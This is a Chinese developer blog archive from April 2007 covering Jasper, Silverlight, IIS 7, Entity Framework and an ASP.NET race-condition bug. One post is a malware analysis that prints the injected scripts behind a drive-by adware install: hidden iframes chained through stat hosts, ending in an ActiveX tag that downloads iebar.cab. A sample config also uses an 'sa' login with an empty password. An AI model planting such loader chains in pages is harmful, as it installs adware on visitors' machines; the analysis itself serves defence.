Joycode@Ab110.com

April 2007 - Posts

体验Jasper

在3月份的MVP峰会上,ASP.NET开发团队给我们示范了Jasper(好像那时还不是这名称),因为NDA的原因,我们无法透露细节。如今Jasper公开推出了,让我们来体验一下Jasper。

1. 安装所需软件和建立数据库

1) Visual Studio Orcas Beta 1。下载细节可见:

http://msdn2.microsoft.com/en-us/vstudio/aa700831.aspx

2) SQL Server 2005 (Express)版本 Edition。SQL Server 2005 Express版可下载于

http://www.microsoft.com/downloads/details.aspx?familyid=220549b5-0b07-4448-8848-dcc397514b41&displaylang=en

3) Iron Python 1.1 (你也可以VB.NET 9)。 下载地址:

http://www.codeplex.com/IronPython/Release/ProjectReleases.aspx?ReleaseId=2573

4) Jasper CTP。下载地址:

http://www.microsoft.com/downloads/details.aspx?FamilyId=471BB3AC-B31A-49CD-A567-F2E286715C8F&displaylang=en

5) 运行 C:\Program Files\Microsoft Codename Jasper CTP\Samples\Create and Populate Northwind.cmd 来创建一个小的Northwind数据库。

2.Jasper API由三个主要部分组成:

  1. DynamicContext是使用Jasper的起点。应用程序调用该类的静态方法CreateDynamicContext()创建一个动态的上下文对象,该对象封装了与数据库交互所需的连接和状态信息。该对象对从查询返回的数据对象进行变化跟踪(change tracking)和身份确定(identity resolution),可以用来把所作的数据对象的变化保存到数据库去。
  2. Query类支持建立和发出查询命令,命令可以用Entity SQL查询语言或LINQ。
  3. 代表数据实体的数据类,支持读取和改变属性值,以及自定义的业务逻辑。数据类是运行时动态生成的,其名称和结构与数据库的数据定义或指定的实体数据模型相符。 Jasper数据类生成器使用约定来建立数据类的名称和它们的属性。对数据库里的每个表,或实体数据模型中的每个实体集合,Jasper会生成一个类。Jasper有个命名组件,可以把名称为复数的表名转换成单数的类名,譬如,对应Products表,Jasper会生成Product类。对应数据表的每个字段,Jasper会在类中生成一个对应的属性。Jasper会根据数据表的外键-主键关系建立引用属性。DynamicContext.CreateDynamicContext()返回的上下文对象对应每个表还含有一个类型是Query的属性,譬如,Categories属性和Products属性等。该上下文对象对数据库中的每个存储过程还会生成相应的方法。你可以在代码中使用这些动态生成的数据类,即使这些类在你编写代码时还不存在。在运行时,延迟绑定机制会确定你对这些数据类的引用。

3. 看一下其中的BuildingUI_Web例子

GridViewPage.aspx,其显示是这样的:

.aspx内容为:

<%@ Page Language="VB" AutoEventWireup="false" CodeFile="GridViewPage.aspx.vb"

Inherits="GridViewPage" %>

<%@ Register Assembly="Microsoft.Jasper.CTP" Namespace="Microsoft.Jasper.Web"

TagPrefix="jasper" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Demonstrate Building Web UI with Project Jasper using a GridView

control</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:Button ID="BackToMainButton" runat="server" Text="Back To Main"
PostBackUrl="Default.aspx" />
</div>
<asp:GridView ID="Products" runat="server"

AutoGenerateDeleteButton="True"
AutoGenerateEditButton="True" AllowPaging="True">
</asp:GridView>
<jasper:AutoDataSource ID="AutoDataSource1" runat="server">
</jasper:AutoDataSource>
</form>
</body>
</html>

后台文件GridViewPage.aspx.vb,是这样的(注释被去除了):

Imports Microsoft.Jasper

Partial Class GridViewPage
           Inherits System.Web.UI.Page

Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
          AutoDataSource1.DynamicContext = GetDynamicContext()
End Sub

Private Function GetDynamicContext() As DynamicContext
          Dim context As DynamicContext = Session("DynamicContext")
          If context Is Nothing Then
                  Dim connectionString As String = ConfigurationManager.ConnectionStrings("Northwind").ConnectionString
                  context = DynamicContext.CreateDynamicContext(connectionString)
                  Session("DynamicContext") = context
          End If
         Return context
End Function
End Class

注意,在后台.vb中只需要设置前台数据源控件AutoDataSource的DynamicContext属性。

Jasper在看到前台的
<asp:GridView ID="Products" runat="server" AutoGenerateDeleteButton="True" AutoGenerateEditButton="True" AllowPaging="True">
</asp:GridView>

根据设置的ID="Products",Jasper会将AutoDataSource1.DynamicContext中的Products查询属性绑定到GridView上。注意上面的第一行记录,Chai2,是在我点击“Edit”按钮编辑更新后的结果。

再看另一个主从关系的例子,MasterDetailsPage.aspx,

后台MasterDetailsPage.aspx.vb内容跟GridViewPage.aspx.vb是一样的,MasterDetailsPage.aspx 的内容是这样的(除去了前面的一些类似的声明内容):

<form id="form1" runat="server">
<asp:ListBox ID="CategoryName" runat="server" AutoPostBack="True"
Height="223px" Width="175px"></asp:ListBox>
<asp:GridView ID="Categories_Products" runat="server">
</asp:GridView>
<Jasper:AutoDataSource ID="AutoDataSource1" runat="server">
</Jasper:AutoDataSource>
</form>

在这里,Jasper会看到<asp:ListBox>的ID与动态生成的Category类里的CategoryName属性一样,该控件就会绑定到对应的数据表上,同时显示指定的属性值。

如果控件名是<Name>_<NavigationPropertyName>的形式,Jasper 就会将其绑定到<Name>数据表对应的类的引用属性<NavigationPropertyName>之上。同时,AutoDataSource控件会去寻找绑定到<Name>的另一个控件,用它作为这个关系导航的数据源。

默认的绑定机制也可以通过覆盖AutoDataSource上的各个AutoBind()方法来实现。AutoBind()方法可以把任意查询对象绑定到可数据绑定的控件上。可数据绑定的控件既可明确指定,也可以让AutoDataSource控件自动根据查询的返回类型来确定合适的控件。

Astoria和Jasper

在SilverLight的耀眼光芒笼罩的MIX大会上,ADO.NET开发团队宣布了2个跟数据服务相关的项目

1。 Astoria - REST风格的数据服务

这个项目的目的是允许应用程序在企业网络和互联网上将数据呈示为数据服务,为web客户端所享用。这样的数据服务可以通过HTTP来获取,服务的各种信息可以通过各种URI来识别。与这些数据服务的交互是通过象GET,POST,PUT和DELETE这样的HTTP动词来实现的,数据交换的格式是象XML和JSON这样简单的格式。

项目网站
http://astoria.mslivelabs.com/

2。 Jasper - 实体框架的RAD版本

这个项目是旨在迭代性的敏捷开发。你可以不用生成映射文件或定义类,就可开始与数据库里的数据进行交互。你可以根据你的模型来命名控件,从而建立用户界面,而不必担心绑定的代码。这个项目也是可扩展的,允许你提供自己的业务逻辑和类模型。因为这个项目是基于ADO.NET实体框架的,它支持丰富的查询和复杂的映射。

用Jasper的话,开发人员从一个连接字符串出发,就可以马上开始对应用的核心进行编程。Jasper模型在运行时动态生成数据类。一个使用了Jasper的程序在运行时,会连接到数据库,确定数据库的数据定义,生成对应的数据类。这个类生成步骤并不生成源码文件,数据类是在内存里编译的,然后就可以在程序里使用。如果数据库数据定义每次运行都变的话,动态生成的数据类就会反映出数据定义的变化。

Jasper使用了几个新技术:

  • 动态生成数据类,没有配置也没有设计时代码生成过程
  • 丰富的查询和O/R功能,因为Jasper是建立在实体框架之上的
  • 对ASP.NET, WinForms,和WPF自动绑定的能力,使得绑定数据到UI即简便又自动

刚推出的CTP是针对Orcas版本的Visual Basic 9和IronPython 1.1的,虽然任何支持延迟绑定的语言都可使用Jasper框架。

下载:Jasper : MIX 2007 CTP
http://www.microsoft.com/downloads/details.aspx?FamilyId=471BB3AC-B31A-49CD-A567-F2E286715C8F&displaylang=en

Google Linq

打算编写一个基于Google Image的Linq实现,算是作为学习Linq,特别是IQueryable/Expression Tree的一个手段吧。

这里起一个头,希望实验过程中不会犯懒吧...

SilverLight新版,托管代码支持,IronRuby

今天在拉斯维加斯举行的MIX大会上,微软宣布推出
1. Silverlight 1.0 beta
2. Silverlight 1.1 alpha
3. Expression Studio
4. Expression Blend 2 预览版
5. Silverlight Streaming (Tim Sneath 在他的博客上列出了发布Silverlight Streaming媒体内容的步骤,可以上传4GB的内容!)

什么是Silverlight 1.1 alpha?

根据BCL团队的博客,Silverlight 1.1 alpha是跨浏览器,跨平台的.NET CLR运行时插件,用以发送下一代基于.NET的媒体体验和丰富的交互性web应用,Silverlight 1.1 Alpha 的基础类库是.NET Framework 3.5 基础类库的子集。

这是从Silver FAQ里拎出来的:

『问』:Silverlight 1.0 Beta 与 Silverlight 1.1 Alpha之间有什么不同?
『答』:Silverlight 1.1 Alpha是基于Silverlight 1.0 Beta的,但添加了托管代码的编程功能和托管代码对象模型。

『问』:Silverlight 1.1 Alpha都有哪些特性?
『答』:除了包括Silverlight 1.0 Beta的功能外,Silverlight 1.1 Alpha还包括了一堆旨在改进开发人员的效率和威力的新的特性,包括:

  • 托管代码的支持
  • 对包括托管Microsoft JScript 和Python的动态语言的支持
  • 基于WPF的丰富UI控件模型
  • 改进的网络层,对REST, RSS, JSON, 和 POX 的支持
  • 增强的,双向的HTML/AJAX架桥
  • 全面一致的基础类库
  • 对LINQ的支持(LINQ to Objects, LINQ to XML)

SilverLight 相关的信息:

SilverLight相关的下载汇总页
http://msdn2.microsoft.com/en-us/asp.net/bb187452.aspx

Silverlight 1.0 Beta下载
http://msdn2.microsoft.com/en-us/asp.net/bb419316.aspx

Silverlight 1.1 Alpha下载
http://msdn2.microsoft.com/en-us/asp.net/bb419317.aspx

Silverlight 1.0 Beta SDK
http://msdn.microsoft.com/vstudio/eula.aspx?id=a40f3ffc-2657-02ec-7d67-7a79b4eac832

Silverlight 1.1 Alpha SDK
http://msdn.microsoft.com/vstudio/eula.aspx?id=c8bf88e7-841c-43fd-c63d-379943617f36

SilverLight社区网站
http://silverlight.net/Default.aspx

Silverlight SDK博客
http://blogs.msdn.com/silverlight_sdk/default.aspx

Silverlight 1.0 Beta 快速上手
http://silverlight.net/quickstarts/silverlight10/default.aspx

Silverlight 1.0 Beta 例程
http://silverlight.net/community/communitygallery.aspx

Silverlight "How Do I?" 录像
http://silverlight.net/learn/learnvideos.aspx

Silverlight (1.0 Beta and 1.1 Alpha)中的新特性
http://msdn2.microsoft.com/en-us/library/bb232842.aspx

Silverlight 论坛
http://silverlight.net/forums/Default.aspx

IronRuby!

Scott Guthrie宣布了微软将推出IronRuby,他在MAC上的浏览器里演示IronRuby与SilverLight交互,非常酷!

ADO.NET实体框架将不会随Orcas一起发布

根据ADO.NET开发团队的博客,ADO.NET实体框架将不会在2007年第四季度随Orcas一起发布,而是会在2008年的上半年度作为一个更新版本发布。而LINQ to SQL则仍将作为Orcas的一部分发布。

ADO.NET实体框架延迟的最大原因是因为没有完善的设计器,但也有人对延迟的背后原因另有猜测,参阅.NET O/R映射器LLBLGen Pro的作者Frans Bouma的博客

此外,微软公布了他们的数据访问策略。LINQ to SQL将对快速开发提供一个轻量级的解决方案,而ADO.NET实体框架则将对要求更加灵活的映射,需要使用多种数据库系统,能在多种服务间共享数据模型等更复杂的场景提供一个强大的解决方案。

支持Go-Live许可的IIS 7.0 Beta3发布了

【原文地址】IIS 7.0 Beta3 Ships with a Go-Live License
【原文发表日期】 Saturday, April 28, 2007 6:33 PM

这个星期,我们发布了作为Windows Longhorn服务器产品一部分的IIS 7.0 Beta 3。IIS 7.0是IIS历史上最大的发布,给微软web服务器带来了许多重大的改进。这篇文章这个博客贴子列出了它提供的几个重大改进。

新 IIS 7.0 Beta3 特性

这个星期的IIS 7.0 Beta3版本引进了很多远远超出了Windows Vista中的IIS 7.0版本的新的特性和功能,这些特性包括:

  • Web Farm共享的配置:你现在可以配置你的web服务器们为无状态的,对整个web farm集中所有的配置,代码和内容,这使得扩展(scale out)和管理容易之极。在这里了解如何使用这个新特性的详情。
  • 委派的远程管理:你现在可以使用IIS7管理工具通过HTTP/SSL来远程管理web服务器。服务器管理员现在可以关闭设置和把设置管理"委派(delegate)"给网站管理员,对谁能管理机器上的网站提供了更精细(fine-grained)的控制(对租借主机的情形尤其理想)。
  • 自动的应用池隔离:IIS 7.0极大地方便了对web服务器上应用池工作进程的供给(provision)和隔离(isolate)。这对租借主机的情形,以及那些你需要在应用间完全隔离和sandboxing的企业情形来说是非常理想的。
  • 对PHP和其他扩展内置的FastCGI支持:除了提供丰富的.NET扩展性外,IIS 7.0现在提供了对FastCGI扩展的支持,使得使用象PHP那样的动态web服务器框架容易之极。
  • 新的FTP服务器:新的IIS7 FTP服务器现在添加了对使用FTP/SSL进行安全发布的支持,对主机头信息(host header)FTP的支持,对集成的管理工具的支持,和对可插拔的(plugable)认证的支持(使用跟ASP.NET成员系统一样的提供器模型)。

一定要去读一下Bill Staples这里的博客贴子,了解上面所有这些特性的细节。

IIS 7.0 Go Live 许可

经过实验室几个月的压力测试,我们认为IIS7现在已经可以用做更广的客户部署了。为促进这个,微软现在给IIS7和Windows服务器Longhorn Beta3版本提供一个特别的Go-Live许可。这允许你立刻把IIS7服务器部署到生产性的环境里去(注:我们已经把www.microsoft.com部署到该版本上了).

你可以在这里了解IIS7 go-live许可,以及如何免费下载Windows服务器Longhorn Beta3版本的详情。

或者,你也可以去几个已经部署了IIS7 Beta3的web主机供应商那里登记一个免费的IIS7 Beta主机帐号。你可以在这里了解他们的免费IIS7服务的细节。

希望本文对你有所帮助,

Scott

实体框架练习

继续记事本主义的传统,尝试一下实体框架。你可以使用Orcas的EDM向导或者命令行工具EdmGen.exe来生成所需文件,这里只是想理解一下其中的定义,才参照机器生成的文件用手工写成的。

数据定义跟前面的DLINQ练习一样,

1. 数据库定义 use master go create database DLINQ go use DLINQ go CREATE TABLE users ( LogonID nvarchar(20) NOT NULL default '0', Name nvarchar(40) default NULL, Password nvarchar(20) default NULL, EmailAddress nvarchar(40) default NULL, LastLogon datetime default NULL, PRIMARY KEY (LogonID) ) go 2. User.ssdl SSDL(储存数据定义语言)文件 <?xml version="1.0" encoding="utf-8"?> <Schema Namespace="DLinq" Alias="Self" xmlns="http://schemas.microsoft.com/ado/2006/04/edm/ssdl"> <EntityType Name="Users" Key="LogonID"> <Property Name="LogonID" Type="nvarchar" Nullable="false" MaxLength="20"/> <Property Name="Name" Type="nvarchar" MaxLength="40" /> <Property Name="Password" Type="nvarchar" MaxLength="20" /> <Property Name="EmailAddress" Type="nvarchar" MaxLength="40" /> <Property Name="LastLogon" Type="datetime" /> </EntityType> <EntityContainer Name="dbo"> <EntitySet Name="Users" EntityType="DLinq.Users" /> </EntityContainer> </Schema> 3. User.cs 实体类 [assembly: System.Data.Objects.DataClasses.EdmSchemaAttribute("LINQ.Examples.QuickStart")] namespace LINQ.Examples.QuickStart { using System; public partial class DataRepository : System.Data.Objects.ObjectContext { public DataRepository() : base ("name=DataRepository","DataRepository") {} public DataRepository(string connectionString) : base(connectionString, "DataRepository") { } public System.Data.Objects.ObjectQuery<User> Users { get { return base.CreateQuery<User>("Users"); } } } [System.Data.Objects.DataClasses.EntityTypeAttribute(SchemaName="LINQ.Examples.QuickStart", TypeName="User")] [System.Runtime.Serialization.DataContractAttribute()] public partial class User : System.Data.Objects.DataClasses.Entity { [System.Data.Objects.DataClasses.EntityKeyPropertyAttribute()] [System.Runtime.Serialization.DataMemberAttribute()] [System.Data.Objects.DataClasses.NullableAttribute(false)] public String LogonID { get { return this._LogonID; } set { this.ReportPropertyChanging("LogonID", this._LogonID); this._LogonID = System.Data.Objects.DataClasses.StructuralObject.SetValidValue(value, false,20,true); this.ReportPropertyChanged("LogonID", this._LogonID); } } private String _LogonID; [System.Runtime.Serialization.DataMemberAttribute()] [System.Data.Objects.DataClasses.NullableAttribute(true)] public String Name { get { return this._Name; } set { this.ReportPropertyChanging("Name", this._Name); this._Name = System.Data.Objects.DataClasses.StructuralObject.SetValidValue(value,true,40,true); this.ReportPropertyChanged("Name", this._Name); } } private string _Name; [System.Runtime.Serialization.DataMemberAttribute()] [System.Data.Objects.DataClasses.NullableAttribute(true)] public String Password { get { return this._Password; } set { this.ReportPropertyChanging("Password", this._Password); this._Password = System.Data.Objects.DataClasses.StructuralObject.SetValidValue(value,true,20,true); this.ReportPropertyChanged("Password", this._Password); } } private string _Password; [System.Runtime.Serialization.DataMemberAttribute()] [System.Data.Objects.DataClasses.NullableAttribute(true)] public String EmailAddress { get { return this._EmailAddress; } set { this.ReportPropertyChanging("EmailAddress", this._EmailAddress); this._EmailAddress = System.Data.Objects.DataClasses.StructuralObject.SetValidValue(value,true, 40,true); this.ReportPropertyChanged("EmailAddress", this._EmailAddress); } } private string _EmailAddress; [System.Runtime.Serialization.DataMemberAttribute()] [System.Data.Objects.DataClasses.NullableAttribute(true)] public DateTime LastLogon { get { return this._LastLogon; } set { this.ReportPropertyChanging("LastLogon", this._LastLogon); this._LastLogon = System.Data.Objects.DataClasses.StructuralObject.SetValidValue(value,System.DateTimeKind.Local,true); this.ReportPropertyChanged("LastLogon", this._LastLogon); } } private DateTime _LastLogon; } } 4. User.csdl CSDL (概念数据定义语言)文件 <?xml version="1.0" encoding="utf-8"?> <Schema Namespace="LINQ.Examples.QuickStart" Alias="Self" xmlns="http://schemas.microsoft.com/ado/2006/04/edm"> <EntityType Name="User" Key="LogonID"> <Property Name="LogonID" Type="String" Nullable="false" MaxLength="20" /> <Property Name="Name" Type="String" MaxLength="40" /> <Property Name="Password" Type="String" MaxLength="20" /> <Property Name="EmailAddress" Type="String" MaxLength="40" /> <Property Name="LastLogon" Type="DateTime" /> </EntityType> <EntityContainer Name="DataRepository"> <EntitySet Name="Users" EntityType="LINQ.Examples.QuickStart.User" /> </EntityContainer> </Schema> 5. User.msl MSL (映射规格语言)文件 <?xml version="1.0" encoding="utf-8"?> <Mapping xmlns:cs="urn:schemas-microsoft-com:windows:storage:mapping:CS" cs:Space="C-S" xmlns="urn:schemas-microsoft-com:windows:storage:mapping:CS"> <cs:EntityContainerMapping cs:StorageEntityContainer="dbo" cs:CdmEntityContainer="DataRepository"> <cs:EntitySetMapping cs:Name="Users" cs:TableName="Users" cs:TypeName="LINQ.Examples.QuickStart.User"> <cs:ScalarProperty cs:Name="LogonID" cs:ColumnName="LogonID" /> <cs:ScalarProperty cs:Name="Name" cs:ColumnName="Name" /> <cs:ScalarProperty cs:Name="Password" cs:ColumnName="Password" /> <cs:ScalarProperty cs:Name="EmailAddress" cs:ColumnName="EmailAddress" /> <cs:ScalarProperty cs:Name="LastLogon" cs:ColumnName="LastLogon" /> </cs:EntitySetMapping> </cs:EntityContainerMapping> </Mapping> 6. TestUser.cs 测试代码 using System; using System.Linq; using System.Configuration; using LINQ.Examples.QuickStart; class TestUser { public static void Main() { DataRepository db = new DataRepository(ConfigurationManager.ConnectionStrings["DataRespository"].ConnectionString); User newUser = new User(); newUser.LogonID = "joe_cool"; newUser.Name = "Joseph Cool"; newUser.Password = "abc123"; newUser.EmailAddress = "joe@cool.com"; newUser.LastLogon = DateTime.Now; db.AddObject(newUser); db.SaveChanges(); Console.WriteLine("go check in the database, enter return to continue...."); Console.ReadLine(); var userExpr = from u in db.Users where u.LogonID == "joe_cool" select u; //User joeCool = userExpr.First();应该是这个,但居然提示还没实现,参考 // http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1290408&SiteID=1 // 要用下面的方法才可行,但这不是违反了初衷吗? User joeCool = userExpr.AsEnumerable().First(); joeCool.LastLogon = DateTime.Now; db.SaveChanges(); userExpr = from u in db.Users select u; foreach(var user in userExpr) { Console.WriteLine(user.LogonID + " last logged in at " + user.LastLogon); } userExpr = from u in db.Users where u.LastLogon > new DateTime(2004, 03, 14, 20, 0, 0) select u; foreach(var user in userExpr) { Console.WriteLine(user.LogonID + " last logged in at " + user.LastLogon); } } } 7. TestUser.exe.config 配置文件 <?xml version="1.0" encoding="utf-8" ?> <configuration> <connectionStrings> <add name="DataRespository" connectionString='Metadata=.\User.csdl|.\User.ssdl|.\User.msl; Provider=System.Data.SqlClient; Provider Connection String= "server=(local); database=DLinq;uid=sa;pwd=;Connection Timeout=5;"' providerName="System.Data.EntityClient"/> </connectionStrings> </configuration> 8. 编译 C:\labs\dlinq>csc /r:System.Runtime.Serialization.dll,System.Data.Entity.dll,System.Data.dll TestUser.cs User.cs 9. 运行结果: C:\labs\dlinq>TestUser go check in the database, enter return to continue.... joe_cool last logged in at 4/27/2007 11:07:24 AM joe_cool last logged in at 4/27/2007 11:07:24 AM

Orcas Beta1的EDM向导的补丁

如果你用过Orcas Beta1 中的Entity Data Model Wizard的话,你会发现它生成的数据定义文件,映射文件和源代码文件都是空的,这是由于VS向导框架的变化造成的。ADO.NET开发团队的博客上刚宣布,修复这个缺陷的补丁可以在此下载:

ADO.NET EDM Wizard supplement for Visual Studio Code name "Orcas" Beta1
http://www.microsoft.com/downloads/details.aspx?FamilyID=f69e9eb8-0ebd-4fba-a4cc-2050297ba75b&displaylang=en

SilverLight开发基础答疑(4)

上一篇文章贴出来以后,心里面胆战心惊,因为在里面提到了一些小秘密。果然不出所料,很快的,就有读者发现了秘密,即在上篇文章的附图当中,除了SilverLight 1.0 Script Application, SilverLight 1.0 ASP.NET Script Application之后,还有一个SilverLight 1.1 Client Application。可能很多人认为是一个笔误,所以没有细究,但还是有一位朋友在反馈中指了出来。

7. SilverLight只能支持Javascript语言吗?可否使用C#或者其它语言来编写应用程序?

问题描述:在微软先前发布的两个CTP版本的示例应用当中,均是使用Javascript来编写业务逻辑语言的。虽然微软曾经在很多地方提到过会推出支持使用C#来编写业务逻辑的版本,但有关细节一直没有披露。

解答:稍安勿躁,本月底在拉斯维加斯举办的MIX大会上,微软即将披露相关详细信息。我在这儿可以先稍微透露一下,在SilverLight 1.0版本中,仍然只支持Javascript,在1.1版本当中,将会支持C#等语言。MIX大会时将会发布1.0的Beta版,以及1.1的CTP版。

 

还有更多的开发基础答疑,将会在MIX会议期间进行披露,欢迎大家继续留意开心的博客。

VB开发团队4-6月份的Orcas webcast系列

根据VB开发团队的博客,VB开发团队将从4月24日起举行一系列的Live from Redmond的Orcas webcasts (美国西部时间上午9点,北京时间晚上12点):

Phantom function call

昨天处理了一个奇怪的duplicated data entry的问题。我们的ASP.NET前台网页里有这么一个HtmlButton控件:

<button runat="server" type="submit" id="yesButton" onserverclick="yesButtonClick">Click this</button>

 

在codebehind的yesButtonClick代码里我们会向一个web service发送一个请求来添加一个数据项:

protected void yesButtonClick(object sender, EventArgs e) { // send request to the database web service }

 

在独立的UI automation测试的时候我们并没有发现问题。但在stress test的时候,我们发现数据库在很偶然的情况下会有两个一摸一样的数据项,并且他们的creation time stamp也是一摸一样的。而我们一直以为所有的数据项都是可以通过一个data field来唯一确认的,所以重复的data entry会给后来的程序逻辑带来很大的麻烦。

很显然在stress test的时候,我们在更新数据库的时候触发了很不容易发现的race condition而导致两个添加数据库记录的同时被执行了,而数据库方面也没有primary key这样的唯一性支持,而只是在添加一条记录前检查一下表内是否已经有了同样的一条记录,如果有就不添加,如果没有再添加,而这显然是无法避免race condition的,是数据库接口设计上的失误。

关键问题在于为什么我们的ASP.NET会同时触发两个添加记录的请求。研究了一下后才发现原来是yesButtonClick给调用了两次。一次是因为onserverclick(被ASP.NET的引擎转化为这样的客户端BLOCKED SCRIPT onclick=__doPostBack(...) ),另一次是因为type="submit"这个属性。因为每个aspx页面的最外层都是一个巨大的form,这个form的method是POST,action就是缺省就是页面本身。所以当把一个button的属性设置为submit的时候,button click这个时间就会自动触发一个form post,这样在服务器端,yesButtonClick就又被调用了一次。

解决的方法很简单,只要去掉type="submit"就好了。

我觉得这也许算不上一个bug,因为对ASP.NET引擎来说它生成的都是完全合法的html和javascript。但为什么有submit button引起的form post会在服务器端触发button click event handler是我不解的,或者说,我觉得不应该这样设计,或者至少该有个什么样的警告。而且我可以想见在某些情况下程序员有足够的理由一定要放上type="submit"这个属性,那时候怎么办?只能看着yesButtonClick被调用两次?

希望对以后碰到过同样的问题的朋友有些帮助。

一段Script引发的&ldquo;冤案&rdquo;

用google搜索关键字:西安二手车,发现这个网站的下面多了一段警告。提示:This site may harm your computer. 本网站可能危害您的电脑。

点击link后google会弹出一个更大的警告让你不去访问这个网站。

 

看到这个提示,十分佩服google。把搜索和查毒集成在一起了。Google的搜索引擎真是牛。可是为什么google会认为这个网站有问题会harm your computer。进入google对此内容的解释:

This warning message appears with search results that we've identified as sites that may install malicious software on your computer. We want our users to feel safer when they search the web, and we're continuously working to identify such dangerous sites and increase protection for our users.

看来是这个站点会在用户浏览时安装恶意的程序。

升级了诺顿,冲入这网站探个究竟。刚一进如后就发现诺顿提示有病毒。

看来这个网站真的是有问题。到底这个网站那里出了问题,是站长故意把病毒放在里面了?还是什么问题。进入病毒的描述信息http://securityresponse.symantec.com/avcenter/cgi-bin/virauto.cgi?vid=4294906467

Updated: February 13, 2007 11:51:32 AM
Type: Adware
Publisher: HDT, Inc
Risk Impact: High
File Names: iebar22.0.dll barhelp22.0.dll
Systems Affected: Windows 2000, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP

Behavior
Adware.Iebar is a Browser Helper Object that displays advertisements and downloads files

Symptoms
Your Symantec product detects this threat as Adware.Iebar.
Unexpected advertisements appear in Internet Explorer browser windows.

看来是IE恶意插件。
用http请求跟踪工具,看看浏览器请求了什么。

看到iebar.t2t2.com /iebar.cab application/octet-stream。这一行真相大白了。是这个网站加载了这个恶意文件。当用户浏览时要求用户下载。看来google真厉害,把网站上的这种动作都记录下来并分析了。

要求用户访问下载这个iebar.cab,Render过来对应的html是什么呢。是用iframe src请求下载,使用image src script src是什么样一种方式呢?再次进入跟踪。发现是:

iebar.t2t2.com /test1.htm 这一行Render了这样的代码

<script language=javascript>

...... 

if (GetCookie("today_install")==null)

     {

         document.write("<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>");

     }

......

</script>

其中的
document.write("<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>");
是“元凶”要求用户下载并安装这个恶意插件。
是谁请求的/test1.htm?
查看stat1.vipstat.com /stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 text/html 这一行,它Render了这样的代码:
….
if (isinstall==1){

SetCookie(cookieKey,pid +"|" + unionid + "|" + sid,1);      
document.write("<iframe width=0 height=0 src=\"http://iebar.t2t2.com/test1.htm\" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes><\/iframe>")
}

是document.write("<iframe width=0 height=0 src=\"http://iebar.t2t2.com/test1.htm\" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes><\/iframe>")  是javascript 动态添加的iframe带入的恶意脚本。
是谁请求的/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24
查看stat.t2t2.com /log/log1.asp?default&user=zgchecom text/html这一行
它请求Render回来了:
function GetCookie(sName)
{

  var aCookie = document.cookie.split("; ");
  for (var i=0; i < aCookie.length; i++)
  {
    var aCrumb = aCookieIdea.split("=");
    if (sName == aCrumb[0])
      return unescape(aCrumb[1]);
  }
  return null;
}
cookieName="comt2t2";
isCookie = GetCookie(cookieName)
if ( isCookie != 'ok')
{
document.write('<iframe width=0 height=0 src="http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes></iframe>');
}

又是javascript 动态添加的iframe带入的恶意脚本。
是谁请求了/log/log1.asp?default&user=zgchecom
查看stat.t2t2.com /stat.js application/x-javascript这一行Render回来的脚本:
var tc_user;
document.write('<a href=http://www.textclick.com/viewmain.asp?name='+tc_user+' target=_blank><img src=http://stat.t2t2.com/stat.gif border=0></a>');
if (tc_user==null) tc_user="";
document.write('<iframe width=0 height=0 src="http://stat.t2t2.com/log/log1.asp?default&user='+tc_user+'" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no><\/iframe>');
还是javascript 动态添加的iframe带入的恶意脚本。
这几次绕来绕去,都没有看到www.zgche.com 我们实际访问的站点。
在http://www.zgche.com/index.asp Render回来的html终于找到加载stat.t2t2.com/stat.js 的代码:

<script language="javascript" src="http://count16.51yes.com/click.aspx?id=162936015&logo=8"></script>
<script>var a="zgchecom";</script>
<script>var tc_user="zgchecom";var tc_class="18";</script>
<script src="http://stat.t2t2.com/stat.js"></script>

终于整个加载的线路清楚了。
http://www.zgche.com/index.asp ->
http://stat.t2t2.com/stat.js ->
http://stat.t2t2.com/log/log1.asp?default&user=zgchecom -> http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 ->
http://iebar.t2t2.com/test1.htm ->
http://iebar.t2t2.com/iebar.cab

通 过上面的加载。恶意的程序最终Render成<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object> 让浏览器来解释。浏览器看到object activeX要求用户安装。恶意程序通过这个手段安装到用户的机器上了。

好曲折的步骤。恶意程序十分会隐藏自己。

最 终找到恶意程序。但是从上面的分析最初用户访问的www.zgche.com并没有“问题”。不是站长放入了恶意程序。它完全是被“牵连”的。是 stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 加载了恶意成程序。是stat1.vipstat.com出了问题。但是google认为是它出了问题。Google站在访问者的角度来看待问题。在 google的link: http://www.stopbadware.org/home/help 看到 stopbadware建立了一个数据库,存储这些恶意站点的信息,建立了黑名单。支持申诉。猜想google是分析这个页面的请求,当请求http: //iebar.t2t2.com/iebar.cab这种在黑名单的地址就认为这个网站是有恶意的网站。最初在建立这个黑名单时,是用这种最终存放恶意程序的地址为源头,来搜索谁请求了他们。然后记录下这些直接请求的地址。然后再看谁请求了这些地址。再次加入黑明单。这样层层的加入来扩张黑名单的数据 库。
问题的根本原因是一段script的多重加载,加载了恶意程序。

Visual Studio Orcas中的Javascript Intellisense

【原文地址】Javascript Intellisense in Visual Studio "Orcas"
